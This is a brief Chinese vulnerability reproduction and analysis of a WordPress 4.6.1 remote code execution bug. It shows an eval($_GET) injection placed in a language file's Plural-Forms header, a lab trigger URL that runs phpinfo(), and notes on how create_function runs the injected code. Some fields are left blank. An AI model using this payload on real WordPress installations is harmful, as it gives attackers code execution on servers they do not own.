Wordpress 4.6.1 Rce 漏洞复现&分析
0x01 漏洞背景
漏洞编号:
漏洞组件:wordpress <= 4.6.1
漏洞成因:
0x02 漏洞复现
使用文本编辑器打开wordpress/wp-content/languages/zh_TW.po,需要注意的是
(1)若没有languages文件夹,则需要后台设置中打开语言设定,选择非英语语言,我这里直接选择其他语言,则会自动生成languages文件夹。
替换掉第九行的字符串
"Plural-Forms: nplurals=1; plural=n);}eval($_GET[x]);/*"
替换为
使用poedit打开该po文件,打开后直接点击保存,poedit会更新编译po文件的二进制格式的文件。
直接访问链接
http://192.168.52.3:8088/wordpress-4.6.1/wordpress/?x=phpinfo();
0x03 漏洞分析
漏洞的触发点在wordpress\wp-includes\pomo\translations.php中的make_plural_form_function方法中
其中create_function函数中若能够控制该$code的位置的内容则可以执行php代码
$expression传入的是po文件中的poc,最终带入到func_body中,其中的");"主要是为了闭合前面的(,接着剩下的"}"后面的payload一起传入到func_body中